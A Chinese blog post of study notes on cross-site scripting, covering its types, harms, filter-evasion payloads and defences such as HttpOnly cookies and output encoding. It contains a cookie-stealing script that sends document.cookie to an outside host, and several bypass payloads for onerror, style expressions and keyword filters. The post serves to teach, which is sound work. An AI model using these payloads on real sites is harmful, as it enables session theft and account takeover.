惡意攻擊者往Web頁面裡插入惡意html代碼,當使用者浏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,進而達到惡意使用者的特殊目的。
XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。故将跨站腳本攻擊縮寫為XSS。
XSS本質就是HTML注入
XSS的分類:
(1) 反射型XSS: 一個惡意構造了Web的URL
(2) 存儲型XSS:将使用者輸入的惡意資料儲存在資料庫中,此方式會持久性的影響。
(3) DOMBased XSS:根據使用者輸入的資料形成XSS攻擊,效果類似于反射型XSS.
這三種類型中危害最大的應該是存儲型XSS,因為每一次打開頁面都會執行。
DOM Based XSS目前在“東方紅”項目的代碼中應該存在大量的,可以關注。
XSS攻擊的危害包括:
q 盜取各類使用者帳号,如機器登入帳号、使用者網銀帳号、各類管理者帳号
q 控制企業資料,包括讀取、篡改、添加、删除企業敏感資料的能力
q 盜竊企業重要的具有商業價值的資料
q 非法轉賬
q 強制發送電子郵件
q 網站挂馬
q 控制受害者機器向其它網站發起攻擊
js擷取URL參數:
<code>function</code> <code>getArgs(){</code>
<code> </code><code>var</code> <code>args= {};</code>
<code> </code><code>varmatch = </code><code>null</code><code>;</code>
<code> </code><code>varsearch = decodeURIComponent(location.search.substring(1));</code>
<code> </code><code>var</code> <code>reg= /(?:([^&]+)=([^&]+))/g;</code>
<code> </code><code>while</code><code>((match = reg.exec(search))!==</code><code>null</code><code>){</code>
<code> </code><code>args[match[1]] = match[2];</code>
<code> </code><code>}</code>
<code> </code><code>returnargs;</code>
<code>}</code>
xss竊取cookie
在evil.js檔案中寫如下代碼,存儲在www.test.com根目錄下:
var img=document.createElement("img");
img.src="http://www.myhack58.com/log?"+escape(document.cookie);
document.body.appendChild(img);
然後在測試頁,想辦法讓别人運作這段代碼
<scriptsrc="http://www.test.com/evil.js"></script>
然後在web日志中可檢視竊取的cookie資訊
構造get和post攻擊
q 根據HTTP規範,GET用于資訊擷取,而且應該是安全的和幂等的;
q 根據HTTP規範,POST表示可能修改變伺服器上的資源的請求。
是以可以從js或者使用java進行構造get和post攻擊
GET和POST的差別:
1,GET請求的資料會附在URL之後(就是把資料放置在HTTP協定頭中),以?分割URL和傳輸資料,參數之間以&相連;POST把送出的資料則放置在是HTTP包的包體中。
2,GET方式送出的資料最多隻能是1024位元組,理論上POST沒有限制,可傳較大量的資料。
3,POST的安全性要比GET的安全性高。
擷取使用者資訊
檢視目前頁面的cookie:javascript:alert(document.cookie)
檢視浏覽器的版本:javascript:alert(navigator.userAgent)
chrome浏覽器:
chrome://appcache-internals HTML5應用程式緩存的診斷
chrome://blob-internals
chrome://bookmarks 書簽 快捷鍵是ctrl+shift+o
chrome://cache 緩存記錄
chrome://chrome-urls
chrome://crashes 當機記錄
chrome://credits 好像是鳴謝
chrome://dns 預取DNS記錄
chrome://downloads 下載下傳頁 快捷鍵是Ctrl + J
chrome://extensions 擴充頁
chrome://flags 實驗室(危險)
chrome://flash 關於插件flash
chrome://gpu-internals gpu加速相關
chrome://history 曆史頁 快捷鍵是Ctrl + H
chrome://ipc 這個網頁無法使用 chrome://ipc/ 的網頁可能暫時無法使用或被永久移至新網址。=_=
chrome://inspect 檢查
chrome://media-internals 不知道
chrome://memory 顯示Chrome使用的記憶體 浏覽器的PID 程序名稱
chrome://nacl 關于插件Native Client
chrome://net-internals 顯示所有與網絡有關的資訊例如Tests中能告訴你url加載失敗的原因 又能強制Chrome浏覽器Https加密通路網站http://www.chinagfw.org/2011/09/chromehttps.html
chrome://view-http-cache 也是緩存
chrome://newtab 新分頁
chrome://omnibox 和位址欄的即時搜尋引擎一樣
chrome://plugins 插件頁
chrome://policy 政策 有興趣的可以看看http://www.chromium.org/administrators/policy-list-3 我也不太懂
chrome://predictors 位址欄搜尋曆史
chrome://profiler 不知道
chrome://quota-internals 可用的硬碟空間和配置檔案目錄
chrome://settings 設定頁
chrome://stats 不知為什麼空白了
chrome://sync-internals Chrome同步細節
chrome://terms Chrome服務條款
chrome://tracing 開發工具 對Chrome的性能進行分析
chrome://version 版本
chrome://conflicts 這個頁面列出了所有已載入主要程式中的模組(dll)
chrome://print 列印頁
For Debug 以下是各種崩潰
chrome://crash
chrome://kill
chrome://hang
chrome://shorthang
chrome://gpuclean
chrome://gpucrash
chrome://gpuhang
firefox浏覽器:
about:blank -和大多數浏覽器一樣,顯示一個空白頁面
about:blocked -顯示“該網站被攻擊”、“已經被報告的攻擊站點”頁面
about:buildconfig - 顯示目前火狐的編譯器和編譯參數資訊(不同的發行版,編譯參數不盡相同,可以用這種方式進行檢視)
about:credits - 所有項目貢獻者
about:certerror - 顯示證書失效/錯誤頁面
about:cache - 顯示緩存檔案(分為 記憶體緩存/硬碟緩存/離線緩存 三部分)
about:config - 修改火狐的配置選項(個人認為是火狐最優秀的地方,詳細說明)
about:feeds - 顯示火狐feed頁面
about:home - 顯示火狐預設的home頁面
about:license - Mozilla 和 Netscape 的公共授權許可協定(等同于 about:licence)
about:logo - 顯示firefox的logo
about:mozilla - 彩蛋,顯示著名的《Mozilla之書》
about:neterror - 顯示網絡錯誤頁面(包括reset,connection timeout等)
about:plugins - 列出所有已安裝的插件資訊(是插件,而非擴充,是flash/totem-player插件,而非adblock擴充)
about:privatebrowsing -切換浏覽器的隐私浏覽模式(此時的位址欄不會有任何顯示)
about:memory - 檢視浏覽器的記憶體占用資訊(我這裡顯示No other informationavailable……)
about:rights - 讀完了license,就要知道自己的rights了 :)
about:robots - 彩蛋而已,不必大驚小怪。
about:sessionrestore -重建最後一次會話标簽
about:support -Firefox技術支援、疑難排解頁面(顯示浏覽器基本資訊;所有擴充資訊——adblock是擴充,而flash是插件;人為修改過的about:config選項——這個很重要,可以依據這個回溯操作)
可以通過标簽的style屬性構造出XSS.
<div style"backgroup:url('javascript:alert(1)')">
xss構造技巧
q 利用字元編碼---使用UTF-8;
q 繞過長度限制---使用eval函數;
q 使用<base>标簽---該标簽作用是定義頁面上的所有使用“相對路徑”标簽hosting位址;
q window.name---繞過長度限制;
網絡上的總結:
1、拆開value。。
校内裡有這樣無數個xss..
舉個例子最簡單……
比如:
<form action="post"name="bloodsword" value="">
xxxx
</form>
我以get舉例。如果他支援get的話,很簡單...
http://xiaonei.com/f**k.do?bloodsword=bink"onload=alert(/xss/);
這樣。到源代碼裡檢視,結果就變成:
<a href="http://xiaonei.com/back.do"value="bink" onload=alert(/xss/)>
這個使用在get……大部分的站,隻要你自己仔細去看name。一些Hidden元素,都能找到。這個是因為沒過濾掉引号惹的。
2、字元集xss inject
這個方法看伺服器的吧……我也不大确定…
還有些受浏覽器的限制。
比如FF
http://xiaonei.com/do.do?bink=aaa%afalert("xss")
3、針對不同浏覽器構造特殊點的标簽。
繼續舉例子。比如IE6核心的,
<imgsrc="javascript:alert(document.cookie)">
這個在IE 7以上就沒了。-。- 這個IE是不是向下相容的啊……
還有FF的video标簽。
IE8開始支援一些怪裡怪氣的,比如錨的title标簽裡的javascript了。
4、自己構造繞過的。
方法其實可以參考富文本的繞過方式。
有些程式員知道要防xss,但是不知道還能繞過
知道要防止以o開頭的事件,這樣本以為onload onmouseover都會再見的。
但是oolooad
ooclick。。。就OK了。。
很簡單,要複雜的就去看富文本
5、16進制
有些地方程式員過濾了很很很很多,幾乎沒轍的時候,不防試試 16進制,16進制主要是那個&#這個怕被過濾。。
6、src屬性。
這個屬性幾乎很常用,有些站知道在那防禦xss,以為隻要以jpg結尾就沒事了。。。
比如yahoo.。。。一個profile裡的入庫xss。。滿足xxx.jpg就成。。
7、cookie xss
這個是……什麼什麼DOM 什麼cookie直接輸出造成的。 貌似是直接讀取cookie裡的xxxxxx形成的。
FF可以改cookie。直接寫script就能出現cookie xss了。。。Google出現過一次。
8、DOM xss
和cookie原理類似吧。
在cookie中設定了HttpOnly屬性,那麼通過js腳本将無法讀取到cookie資訊,這樣能有效的防止XSS攻擊。
<code>response.setHeader(</code><code>"Set-Cookie"</code><code>,"cookiename=value;</code>
<code>Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");</code>
參考:https://www.owasp.org/index.php/HTTPOnly
http://www.oschina.net/question/100267_65116
對于輸入檢測,這是一個很有趣的現象:前端檢查是防君子不防小人。背景檢測是都防。是以前端後端都需要寫上。
在不同的編碼後(經過編碼函數處理後的資料,如HtmlEncode,javascriptEncode,XMLEncode,jsonEncode)的資料長度可能會發生改變,進而會影響某些功能。
使用JavascriptEncode的變量輸出一定要在引号内。
先找問題,再想出對策
XSS的本質是HTML注入,HTML注入的原因是将資料看做了代碼.
參考位址:https://www.owasp.org/index.php/Main_Page
對于富文本的防禦,我目前認為比較好的方法是“黑白名單”
在前端使用編碼函數進行過濾
網上總結:
1、過濾”<”和”>”标記XSS跨站攻擊的最終目标是引入script代碼在使用者的浏覽器中執行,是以最基本最簡單的過濾方法,就是轉換”<”和’>”标記。
<code>replace(str, </code><code>"<"</code><code>, </code><code>"<"</code><code>)</code>
<code>replace(str, </code><code>">"</code><code>, </code><code>">"</code><code>)</code>
2、HTML屬性過濾
使用上述的代碼可以過濾掉”<”和”>”标記,讓攻擊者無法構造HTML标記。但是,攻擊者可能會利用已存在的屬性,如插入圖檔功能,将圖檔的路徑屬性修改為一段script代碼,如
<code><</code><code>img</code> <code>src="javascript:alert(/XSS</code>
<code>攻擊</code>
<code>/)" </code><code>width</code><code>=</code><code>100</code><code>></code>
上述代碼執行後,同樣可以實作跨站的目的。而且很多的HTML标記裡屬性都支援“javascript:跨站代碼”的形式,是以就需要對攻擊者輸入的資料進行如下轉換:
<code>replace(str, </code><code>"javascript:"</code><code>,</code><code>""</code><code>)</code>
<code>replace(str, </code><code>"jscript:"</code><code>, </code><code>""</code><code>)</code>
<code>replace(str, </code><code>"vbscript:"</code><code>, </code><code>""</code><code>)</code>
一旦使用者輸入的語句中含有”javascript”,”jscript”,”vbscript”,都用空白代替。
3、過濾特殊字元:&、回車和空格
因為HTML屬性的值,可支援”&#ASCii”的形式進行表示,前面的跨站代碼就可以換成這樣:
即可突破過濾程式,繼續進行跨站攻擊,使用代碼:
<code>replace(str, </code><code>"&"</code><code>, </code><code>"&"</code><code>)</code>
上述代碼将”&”替換為了”&”,于是後面的語句就變形失效了。但是還有其他的方式繞過過濾,因為過濾關鍵字的方式具有很多的漏洞。攻擊者可以構造下面的攻擊代碼:
<code><</code><code>img</code> <code>src="javas cript:alert(/XSS</code>
這裡關鍵字被空格,準确的說是Tab鍵進行了拆分,上面的代碼就又失效了,這樣就有考慮将Tab空格過濾,防止此類的跨站攻擊。
4、HTML屬性跨站的徹底防範
即使程式設計者徹底過濾了各種危險字元,确實給攻擊者進行跨站入侵帶來了麻煩,攻擊者依然可以利用程式的缺陷進行攻擊,因為攻擊者可以利用前面說的屬性和事件機制,構造執行script代碼。例如,有下面這樣一個圖檔标記代碼:
<code><</code><code>img</code> <code>src</code><code>=</code><code>"#"</code> <code>onerror</code><code>=</code><code>alert</code><code>(/</code>
<code>跨站</code>
<code>/)></code>
這是一個利用onerror事件的典型跨站攻擊示例,于是許多程式設計者對此事件進行了過濾,一旦發現關鍵字”onerror”,就進行轉換過濾。
然而攻擊者可以利用的時間跨站方法,并不隻有onerror一種,各種各樣的屬性都可以進行構造跨站攻擊。例如:
<code><</code><code>img</code> <code>src</code><code>=</code><code>"#"</code> <code>style="Xss:expression(alert(/</code>
<code>/));"></code>
這樣的事件屬性,同樣是可以實作跨站攻擊的。可以注意到,在“src=”#””和“style”之間有一個空格,也就是說屬性之間需要空格分隔,于是程式設計者可能對空格進行過濾,以防範此類的攻擊。但是過濾了空格之後,同樣可以被攻擊者突破。
<code><</code><code>img</code> <code>src</code><code>=</code><code>"#"</code><code>/**/</code><code>onerror</code><code>=</code><code>alert</code><code>(/</code>
<code>/) </code><code>width</code><code>=</code><code>100</code><code>></code>
這段代碼利用了腳本語言的規則漏洞,在腳本語言中的注釋會被當成一個空白來表示。是以注釋代碼就簡介的達到了空格的效果,使語句得以執行。
1.對于開發者,首先應該把精力放到對所有使用者送出内容進行可靠的輸入驗證上。這些送出内容包括URL、查詢關鍵字、http頭、post資料等。隻接受在你所規定長度範圍内、采用适當格式、你所希望的字元。阻塞、過濾或者忽略其它的任何東西。
2.保護所有敏感的功能,以防被bots自動化或者被第三方網站所執行。實作session标記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查。
3.如果你的web應用必須支援使用者提供的HTML,那麼應用的安全性将受到災難性的下滑。但是你還是可以做一些事來保護web站點:确認你接收的HTML内容被妥善地格式化,僅包含最小化的、安全的tag(絕對沒有JavaScript),去掉任何對遠端内容的引用(尤其是樣式表和JavaScript)。為了更多的安全,請使用httpOnly的cookie。
本文轉自 夢朝思夕 51CTO部落格,原文連結:http://blog.51cto.com/qiangmzsx/1859547